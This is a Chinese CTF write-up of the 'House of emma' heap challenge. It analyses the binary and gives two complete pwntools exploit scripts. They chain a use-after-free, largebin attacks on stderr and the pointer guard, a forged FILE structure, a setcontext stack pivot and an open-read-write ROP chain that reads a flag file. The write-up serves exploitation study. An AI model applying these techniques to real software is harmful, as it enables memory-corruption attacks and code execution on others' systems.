House of emma 21湖湘杯复现

讲水课,恰大米

沙箱开启,考虑orw

保护全开

VM分析

循环输入,每次读最多0x500,每次循环分配释放0x2000空间

注意这里每次循环时的malloc,会影响后面的堆风水

入口函数分析

sub_1288处无法识别

undefine后,由gdb动调知入口在0x1289处,修复为函数

将输入的字符串指针存在[rbp-18h]

image-20230720151519060

随后取第一个byte,与运算0Fh,进行一个没什么用的检查,再将该值*4放入rdx,与一个首地址相加放入eax,符号拓展为rax(因为是负数),再与该首地址相加(rax为补码,实际为相减),其中算负数计算式为hex((~0xfffffffffffff3a1&0xffffffffffffffff)+0x1),随后跳转到该位置

image-20230720152303704

0 1 2 3 4 5 6 7 8 9
1488h 13ddh 1404h 1428h 144ch 1481h 12dah 130dh 13abh 1342h
fail add delet show edit leave&ret

image-20230721133000180

连按d修复跳转表,观察补码可知为4字节一组

其实可以用ida的edit->other->specify switch idiom功能修复为switch

add

  • index 2nd byte
  • size 2nd word
  • image-20230718174743516
  • +4&jump to start

delet

  • index 2nd byte

  • uaf

  • image-20230718174950029

  • +2

show

  • index 2nd byte

  • image-20230718175134076

  • +2

edit

  • index 2nd byte
  • size 2nd word
  • content 2nd dword, size
  • image-20230719093944933

利用思路

存在UAF,可多次进行largbin attack

无法改写为任意地址,无法直接house of kiwi,考虑house of emma

  • 泄露libc、heap基址

  • 两次largbin attack改写stderr__pointer_chk_guard

  • 合理伪造stderr与IO链

  • 触发__malloc_assert

堆布局与largbin attack

leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
add(0,0x420)
add(1,0x440)
add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
add(3,0x440)
add(5,0x430)#(7)(8)->pointer guard
add(6,0x420)
delet(0)
delet(2)
show(0)#获取libc基址
sendit()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
stderr_addr = libc_base + libc.sym['stderr']
fixed_heap_fdbk = libc_base + 0x1f30c0
setcontex61 = libc_base + 0x50bfd
point_guard = libc_base + 0x3c0740 + 0x30
log.success("libc_base = {}".format(hex(libc_base)))
log.success("stderr = {}".format(hex(stderr_addr)))
log.success("setcontex+61 = {}".format(hex(setcontex61)))
log.success("point_guard = {}".format(hex(point_guard)))
add(4,0x410)
edit(2,16,cyclic(16))
show(2)
sendit()

p.recvuntil("daaa")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
log.success("heap0_base = {}".format(hex(heap_base)))

free掉任意一个unsorted bin可获取libc基址

问题:这里的chunk 0为什么能保持在unsorted bin中,而没有在循环开始malloc0x2000时放入large bin?

因为chunk 0和0x2000紧邻,每次完成循环都会触发合并,并在分配时被切下来

构造0<2,free掉后申请一块较小的chunk,将2放入largebin以获取heap基址

注意输出存在截断,可以先把2的fd,bk部分填满,事后记得要修复

注意largbin大小0x440~0x480为一个范围,为后续largebin attack起见,应注意预留大小

largebin attack*2

largebin attack的利用方式:

  1. 将一个较大的、largebin中的chunk的bk_nextsize覆盖为[target-0x20]
  2. 将一个较小的chunk放入同一个largebin,触发unlink
  3. 此时[target]的内容被修改为较小chunk的地址
1
2
3
4
5
6
7
8
9
10
11
#attack stderr
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)#构造的同时顺便修复
edit(2,32,payload)
delet(5)
sendit()
#attack point_guart
add(7,0x430)
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
edit(2,32,payload)
delet(7)
sendit()

将5free掉,放入largebin,打出一次attack,修改stderr

又通过7将5申请回来,(这里申请之前没有修复,导致stderr指向了2)

随后再更改2,再free掉7(5),打出第二次attack,修改point_guard

__pointer_chk_guard

该值存在于fs:0x30

tls基址查看方式为fsbasetls(pwngdb),加上0x30即为guard值

也可以直接用gdb

1
2
3
4
(gdb) call arch_prctl(0x1003, $rsp - 0x8)    
$2 = 0
(gdb) x /gx $rsp - 0x8
0x7fffffffe6e8: 0x00007ffff7fe0700 => IA32_FS_BASE

本地gdb调试时该值与libc偏移可能改变,调试时可以先关闭aslr

1
$ sudo sysctl -w kernel.randomize_va_space=0

修复largebin与准备触发__malloc_assert

1
2
3
4
5
6
7
8
9
10
11
12
13
#largbin fix
payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
edit(2,32,payload)
payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
edit(7,32,payload)
sendit()
#prepare assert
add(8,0x430)
delet(6)
add(9,0x440)
add(10,0x410)
edit(6,0x420,cyclic(0x418)+p64(0x10))
sendit()

先分别修补两个largebin,防止分配时发生错误

申请8填补5,申请9填补2

将最外层的chunk 6 free掉,加入unsorted bin并与top chunk合并

再申请一块略小于6的chunk 10,通过修改chunk 6的内容修改top chunk的size段

此处改为0x10使之页不对齐

后面只需要申请一个chunk就可以触发__malloc_assert

构造IO利用链

gadget

假设我们控制了stderr,进入了_IO_cookie_write,调用函数指针write_cb,此时我们只能控制进入函数时的rdi,而控制setcontext需要控制rdx

碰巧有一个gadget,能够利用rdi控制rdx,还能call一个和rdx相关的地址

image-20230720211806875

1
2
3
4
5
6
7
gadget = libc_base + 0x0000000000146020
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x000000000002d446
pop_rax = libc_base + 0x00000000000446c0
pop_rdi = libc_base + 0x000000000002daa2
pop_rsi = libc_base + 0x0000000000037c0a
syscall = libc_base + 0x00000000000883b6

fake stderr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def ROL(content, n):
num = bin(content)[2:].rjust(64,'0')
return int(num[n:]+num[:n],2)

#fake stderr
payload = p64(0)*3
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0x78,"\x00")
payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
payload = payload.ljust(0xc8,"\x00")
payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
payload += p64(heap_base+0x10) #chunk 0->rdi
payload += p64(0)
payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
edit(2,0xe8,payload)
sendit()

进入__malloc_assert后,利用__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write)调用链

需要满足_IO_write_ptr > _IO_write_base,且_lock指向可写地址,此处直接使用原地址_IO_stdfile_2_lock

vtable需要伪造,触发IO时,原本指向_IO_file_jumps -> __xsputn,即<__GI__IO_file_jumps+56>,需要伪造为_IO_cookie_jumps-> __write,即<_IO_cookie_jumps+120>,故此处填上_IO_cookie_jumps+0x40

构造__cookie为chunk 0的地址,注意为了方便更改,地址加上0x10,之后chunk 0的用户地址会进入rdi

构造cookie_write_function_t *write处指针为gadget地址,调用时直接运行gadget,此处有加密

rdi -> rdx

1
2
3
4
5
#rdi->rdx
payload = p64(0)#rdi
payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
edit(0,0x10,payload)
sendit()

修改chunk 0,使rdx指向chunk5

布置rdx附近满足setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
#rdx->setcontext
payload = p64(0)*3 + "./flag\x00\x00"
payload += p64(setcontex61)#call [rdx+0x20]
payload = payload.ljust(0x68,"\x00")
payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
payload += p64(ret)#rcx->ret
edit(5,0xb0,payload)
sendit()

根据setcontext+61,布置rdx周围,使寄存器满足条件

rsp指向chunk 1,rcx指向ret,将栈迁移到chunk 1上

orw chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#orw chain
payload = p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#write

edit(1,17*8,payload)
sendit()

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python2
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])
def debug(cmd=''):
cmd += "b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n"
gdb.attach(p, cmd)
pause()

host = ""
port = 0
p = process("./pwn")
#pt = remote(host, port)
libc = ELF('./libc.so.6')

pl = ""
tls_offset = 0x3c0740

def add(index, size):
#size(0x40f,0x500]
global pl
pl += p8(1)
pl += p8(index)
pl += p16(size)

def delet(index):
global pl
pl += p8(2)
pl += p8(index)

def show(index):
global pl
pl += p8(3)
pl += p8(index)

def edit(index, size, str):
global pl
pl += p8(4)
pl += p8(index)
pl += p16(size)
pl += str

def sendit():
global pl
pl += p8(5)
p.sendlineafter("opcode\n", pl)
pl = ""

def ROL(content, n):
num = bin(content)[2:].rjust(64,'0')
return int(num[n:]+num[:n],2)

add(0,0x420)
add(1,0x440)
add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
add(3,0x440)
add(5,0x430)#(7)(8)->pointer guard
add(6,0x420)
delet(0)
delet(2)
show(0)
sendit()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
stderr_addr = libc_base + libc.sym['stderr']
fixed_heap_fdbk = libc_base + 0x1f30c0
setcontex61 = libc_base + 0x50bfd
point_guard = libc_base + tls_offset + 0x30
log.success("libc_base = {}".format(hex(libc_base)))
log.success("stderr = {}".format(hex(stderr_addr)))
log.success("setcontex+61 = {}".format(hex(setcontex61)))
log.success("point_guard = {}".format(hex(point_guard)))
add(4,0x410)
edit(2,16,cyclic(16))
show(2)
sendit()

p.recvuntil("daaa")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
log.success("heap0_base = {}".format(hex(heap_base)))

#attack stderr
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)
edit(2,32,payload)
delet(5)
sendit()
#attack point_guart
add(7,0x430)
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
edit(2,32,payload)
delet(7)
sendit()
#largbin fix
payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
edit(2,32,payload)
payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
edit(7,32,payload)
sendit()
#prepare assert
add(8,0x430)
delet(6)
add(9,0x440)
add(10,0x410)
edit(6,0x420,cyclic(0x418)+p64(0x10))
sendit()

gadget = libc_base + 0x0000000000146020
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x000000000002d446
pop_rax = libc_base + 0x00000000000446c0
pop_rdi = libc_base + 0x000000000002daa2
pop_rsi = libc_base + 0x0000000000037c0a
syscall = libc_base + 0x00000000000883b6

#fake stderr
payload = p64(0)*3
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0x78,"\x00")
payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
payload = payload.ljust(0xc8,"\x00")
payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
payload += p64(heap_base+0x10) #chunk 0->rdi
payload += p64(0)
payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
edit(2,0xe8,payload)
sendit()
#rdi->rdx
payload = p64(0)#rdi
payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
edit(0,0x10,payload)
sendit()
#rdx->setcontext
payload = p64(0)*3 + "./flag\x00\x00"
payload += p64(setcontex61)#call [rdx+0x20]
payload = payload.ljust(0x68,"\x00")
payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
payload += p64(ret)#rcx->ret
edit(5,0xb0,payload)
sendit()
#orw chain
payload = p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#write
edit(1,17*8,payload)
sendit()

#trigger assert
add(11,0x500)
sendit()

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/env python2
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])
def debug(cmd=''):
cmd += "b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n"
gdb.attach(p, cmd)
pause()

for x in range(0x10):
for y in range(0x10):
try:
offset = 0x300740
tls_offset = offset
tls_offset += x << 16
tls_offset += y << 12
log.success("try offset:\t" + hex(tls_offset))

host = ""
port = 0
p = process("./pwn")
#pt = remote(host, port)
libc = ELF('./libc.so.6')

pl = ""

def add(index, size):
#size(0x40f,0x500]
global pl
pl += p8(1)
pl += p8(index)
pl += p16(size)

def delet(index):
global pl
pl += p8(2)
pl += p8(index)

def show(index):
global pl
pl += p8(3)
pl += p8(index)

def edit(index, size, str):
global pl
pl += p8(4)
pl += p8(index)
pl += p16(size)
pl += str

def sendit():
global pl
pl += p8(5)
p.sendlineafter("opcode\n", pl)
pl = ""

def ROL(content, n):
num = bin(content)[2:].rjust(64,'0')
return int(num[n:]+num[:n],2)

add(0,0x420)
add(1,0x440)
add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
add(3,0x440)
add(5,0x430)#(7)(8)->pointer guard
add(6,0x420)
delet(0)
delet(2)
show(0)
sendit()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
stderr_addr = libc_base + libc.sym['stderr']
fixed_heap_fdbk = libc_base + 0x1f30c0
setcontex61 = libc_base + 0x50bfd
point_guard = libc_base + tls_offset + 0x30
log.success("libc_base = {}".format(hex(libc_base)))
log.success("stderr = {}".format(hex(stderr_addr)))
log.success("setcontex+61 = {}".format(hex(setcontex61)))
log.success("point_guard = {}".format(hex(point_guard)))
add(4,0x410)
edit(2,16,cyclic(16))
show(2)
sendit()

p.recvuntil("daaa")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
log.success("heap0_base = {}".format(hex(heap_base)))

#attack stderr
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)
edit(2,32,payload)
delet(5)
sendit()
#attack point_guart
add(7,0x430)
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
edit(2,32,payload)
delet(7)
sendit()
#largbin fix
payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
edit(2,32,payload)
payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
edit(7,32,payload)
sendit()
#prepare assert
add(8,0x430)
delet(6)
add(9,0x440)
add(10,0x410)
edit(6,0x420,cyclic(0x418)+p64(0x10))
sendit()

gadget = libc_base + 0x0000000000146020
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x000000000002d446
pop_rax = libc_base + 0x00000000000446c0
pop_rdi = libc_base + 0x000000000002daa2
pop_rsi = libc_base + 0x0000000000037c0a
syscall = libc_base + 0x00000000000883b6


#fake stderr
payload = p64(0)*3
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0x78,"\x00")
payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
payload = payload.ljust(0xc8,"\x00")
payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
payload += p64(heap_base+0x10) #chunk 0->rdi
payload += p64(0)
payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
edit(2,0xe8,payload)
sendit()
#rdi->rdx
payload = p64(0)#rdi
payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
edit(0,0x10,payload)
sendit()
#rdx->setcontext
payload = p64(0)*3 + "./flag\x00\x00"
payload += p64(setcontex61)#call [rdx+0x20]
payload = payload.ljust(0x68,"\x00")
payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
payload += p64(ret)#rcx->ret
edit(5,0xb0,payload)
sendit()
#orw chain
payload = p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#write

edit(1,17*8,payload)
sendit()

#trigger assert
add(11,0x500)
sendit()
r=p.recvuntil("flag")
flag = r+p.recvuntil("}")
log.success(flag)
p.interactive()
except:
p.close()